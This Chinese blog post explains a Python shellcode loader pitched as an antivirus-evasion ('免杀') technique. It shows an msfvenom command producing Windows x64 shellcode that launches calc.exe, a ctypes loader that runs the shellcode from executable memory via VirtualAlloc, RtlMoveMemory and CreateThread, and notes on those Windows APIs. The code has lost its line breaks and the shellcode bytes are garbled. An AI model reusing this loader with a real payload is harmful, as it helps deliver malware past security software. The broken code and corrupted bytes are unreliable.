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何为python免杀技术shellcode的加载和执行方法?

百变鹏仔 1个月前 (01-21) #Python
文章标签 何为

0x01 生成shellcode

首先通过下列命令生成一个shellcode,使用msfvenom -p选项来指定paylaod,这里选用windows/x64、exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来执行生成的shellcdoe的编译语言。

msfvenom -p windows/x64/exec CMD='calc.exe' -f py

0x02 加载与执行shellcode的程序

程序为:

# -*- coding:utf-8 -*-import ctypesfrom ctypes import *from ctypes.wintypes import *import sysPAGE_EXECUTE_READWRITE = 0x00000040MEM_COMMIT = 0x3000PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)VirtualAlloc = windll.kernel32.VirtualAllocRtlMoveMemory = windll.kernel32.RtlMoveMemoryCreateThread = windll.kernel32.CreateThreadWaitForSingleObject = windll.kernel32.WaitForSingleObjectOpenProcess = windll.kernel32.OpenProcessVirtualAllocEx = windll.kernel32.VirtualAllocExWriteProcessMemory = windll.kernel32.WriteProcessMemoryCreateRemoteThread = windll.kernel32.CreateRemoteThreadshellcode = bytearray(    b"�H�����AQA"    b"PRQVH1�eH�R`H"    b"�RH�R H�rPH"    b"�JJM1�H1��

0x03 程序解释

导入模块,并且程序分配内存还有可进行读写操作。

import ctypesfrom ctypes import *from ctypes.wintypes import *import sysPAGE_EXECUTE_READWRITE = 0x00000040MEM_COMMIT = 0x3000PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

区域可执行代码,可读可写

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PAGE_EXECUTE_READWRITE = 0x00000040

分配内存

MEM_COMMIT = 0x3000

给予进程所有权限

PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

调用windows api

VirtualAlloc = windll.kernel32.VirtualAllocRtlMoveMemory = windll.kernel32.RtlMoveMemoryCreateThread = windll.kernel32.CreateThreadWaitForSingleObject = windll.kernel32.WaitForSingleObjectOpenProcess = windll.kernel32.OpenProcessVirtualAllocEx = windll.kernel32.VirtualAllocExWriteProcessMemory = windll.kernel32.WriteProcessMemoryCreateRemoteThread = windll.kernel32.CreateRemoteThread

将前面生成的shellcode赋值给shellcode参数,赋值前使用bytearray函数处理

shellcode = bytearray(    b"�H�����AQA"    b"PRQVH1�eH�R`H"    b"�RH�R H�rPH"    b"�JJM1�H1��

创建一个方法并调用,申请内存,将shellcode指向分配的内存指针,再复制shellcode到内存中,创建线程事件并执行:

def run1():    VirtualAlloc.restype = ctypes.c_void_p  #重载函数返回类型为void    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存    buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程    WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件

VirtualAlloc是用来申请内存空间,是一个Windows API函数,它的声明为:

LPVOID VirtualAlloc{LPVOID lpAddress, // 要分配的内存区域的地址DWORD dwSize, // 分配的大小DWORD flAllocationType, // 分配的类型DWORD flProtect // 该内存的初始保护属性};

RtlMoveMemory从指定内存中复制内存至另一内存里.语法为:

VOID RtlMoveMemory(VOID UNALIGNED *Destination,const VOID UNALIGNED *Source,SIZE_T Length);

参数:

Destination :指向移动目的地址的指针。Source :指向要复制的内存地址的指针。Length :指定要复制的字节数。

CreateThread是一种微软在Windows API中提供了建立新的线程的函数,该函数在主线程的基础上创建一个新线程。
函数原型:

HANDLE CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,//SDSIZE_T dwStackSize,//initialstacksizeLPTHREAD_START_ROUTINE lpStartAddress,//threadfunctionLPVOID lpParameter,//threadargumentDWORD dwCreationFlags,//creationoptionLPDWORD lpThreadId//threadidentifier)

参数意义

  • lpThreadAttributes:指向SECURITY_ATTRIBUTES型态的结构的指针。在Windows 98中忽略该参数。在Windows NT中,NULL使用默认安全性,不可以被子线程继承,否则需要定义一个结构体将它的bInheritHandle成员初始化为TRUE。

  • dwStackSize,设置初始栈的大小,以字节为单位,如果为0,那么默认将使用与调用该函数的线程相同的栈空间大小。任何情况下,Windows根据需要动态延长堆栈的大小。

  • lpStartAddress,指向线程函数的指针,形式:@函数名,函数名称没有限制

  • lpParameter:向线程函数传递的参数,是一个指向结构的指针,不需传递参数时,为NULL。

  • dwCreationFlags :线程标志,可取值如下

    • (1)CREATE_SUSPENDED(0x00000004):创建一个挂起的线程,

    • (2)0:表示创建后立即激活。

    • (3)STACK_SIZE_PARAM_IS_A_RESERVATION(0x00010000):dwStackSize参数指定初始的保留堆栈 的大小,否则,dwStackSize指定提交的大小。该标记值在Windows 2000/NT and Windows Me/98/95上不支持。

  • lpThreadId:保存新线程的id。

    • WaitForSingleObject是一种Windows API函数。当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限。

声明:

DWORD WINAPI WaitForSingleObject(__in HANDLE hHandle,__in DWORD dwMilliseconds);

hHandle[in]对象句柄。可以指定一系列的对象,如Event、Job、Memory resource notification、Mutex、Process、Semaphore、Thread、Waitable timer等。

dwMilliseconds[in]定时时间间隔,单位为milliseconds(毫秒).如果指定一个非零值,函数处于等待状态直到hHandle标记的对象被触发,或者时间到了。如果dwMilliseconds为0,对象没有被触发信号,函数不会进入一个等待状态,它总是立即返回。如果dwMilliseconds为INFINITE,对象被触发信号后,函数才会返回。

运行程序可以成功弹出计算器。